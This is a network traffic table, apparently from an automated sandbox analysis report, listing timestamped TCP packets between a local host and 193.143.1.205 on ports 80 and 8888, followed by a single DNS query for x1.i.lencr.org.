Jan 11, 2025 06:20:12.392610073 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392620087 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392623901 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392632961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392642021 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392648935 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392654896 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392668009 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392674923 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392688036 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392697096 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392708063 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392719030 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392735004 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392764091 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392841101 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392853022 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392863989 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392880917 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392889977 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392893076 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392904043 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392914057 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392916918 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392925024 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392945051 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392962933 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.392965078 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392976046 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.392987013 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.393007040 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.393014908 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.393026114 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.393048048 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.405991077 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406004906 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406016111 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406034946 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406035900 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406049013 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406059980 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406061888 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406088114 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406090975 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406104088 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406115055 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406126022 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406130075 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406146049 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406292915 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406303883 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406315088 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406320095 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406330109 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406332016 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406341076 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406347990 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406352043 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406377077 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406384945 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406393051 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406398058 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406409025 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406419039 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.406430006 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.406457901 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429088116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429101944 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429111958 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429146051 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429171085 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429182053 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429193974 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429204941 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429213047 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429223061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429227114 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429250002 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429349899 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429464102 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429487944 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429519892 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429531097 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429542065 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429552078 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429563046 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.429568052 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429595947 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.429609060 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.447392941 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447412968 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447427988 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447469950 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.447490931 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447504997 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447519064 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447530985 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.447540998 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.447570086 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.463741064 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463753939 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463766098 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463803053 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.463820934 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.463907957 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463918924 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463927984 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463938951 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.463953972 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.463980913 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.481930971 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482089043 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482100010 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482122898 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482131958 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482141972 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482152939 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482259989 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482259989 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482259989 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482297897 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482309103 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482348919 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482461929 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482474089 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482482910 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482494116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482501984 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482503891 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482512951 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.482528925 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.482557058 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483150959 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483161926 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483194113 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483321905 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483344078 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483352900 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483360052 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483369112 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483372927 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483376026 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483391047 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483416080 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483582973 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483623028 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483736992 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483747959 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483758926 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483783007 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483810902 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483823061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483830929 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483844042 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.483855009 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.483886003 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484000921 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484009981 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484019041 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484029055 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484038115 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484046936 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484049082 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484102964 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484102964 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484153986 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484164000 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484193087 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484205008 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484215975 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484225988 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484236002 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484244108 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484246969 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484261036 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484270096 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484291077 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484417915 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484427929 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484458923 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484462976 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484468937 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484479904 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484489918 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484500885 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484500885 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484513044 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484518051 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484539986 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484596968 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484607935 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484617949 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484627962 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484642029 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484667063 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484785080 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484795094 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484805107 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484814882 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484826088 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484827042 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484846115 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484869003 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.484961987 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484972000 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484982014 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.484992027 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485002995 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485012054 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485013962 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.485023975 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485027075 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.485050917 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.485112906 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485122919 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485162973 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.485302925 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485313892 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485323906 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485333920 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.485347986 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.485359907 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496690035 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496748924 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496768951 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496803045 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496824980 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496845961 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496845961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496881008 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496886015 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496902943 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496925116 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496946096 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496947050 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496970892 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.496989965 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.496993065 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.497015953 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.497035980 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.501138926 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.506010056 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.506021023 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.506066084 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.513580084 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.518802881 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518848896 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518868923 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.518889904 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518901110 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518929958 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518934965 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.518942118 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518953085 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518965960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518969059 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.518989086 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.518994093 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.519037962 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.519067049 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519079924 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519090891 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519119978 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.519157887 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519169092 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519181013 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.519196033 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.519221067 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.538108110 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538131952 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538141966 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538152933 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538165092 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538188934 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538199902 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538208961 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.538212061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.538233995 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.538249969 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.552910089 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.552933931 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.552947998 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.552978992 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.552989960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.553002119 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.553021908 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.553039074 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.553050041 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.553061008 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.553071022 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.553097010 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.571908951 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.571919918 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.571937084 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.571949005 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.571959972 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.571963072 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.571974039 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572006941 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572017908 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572024107 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.572029114 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572040081 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572047949 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.572068930 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.572117090 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572127104 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572138071 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572169065 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572175980 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.572180033 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572191954 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572196007 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.572202921 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.572232008 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.573000908 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.573038101 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.573045969 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.573057890 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.573069096 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.573092937 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.613966942 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.763374090 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.968445063 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:13.388302088 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:13.393234968 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:13.393332958 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:13.393532991 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:13.398298025 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:14.188518047 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:14.235521078 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:15.919812918 CET	49767	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:20:21.321316004 CET	49914	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:20:21.321316004 CET	192.168.2.9	1.1.1.1	0x930e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
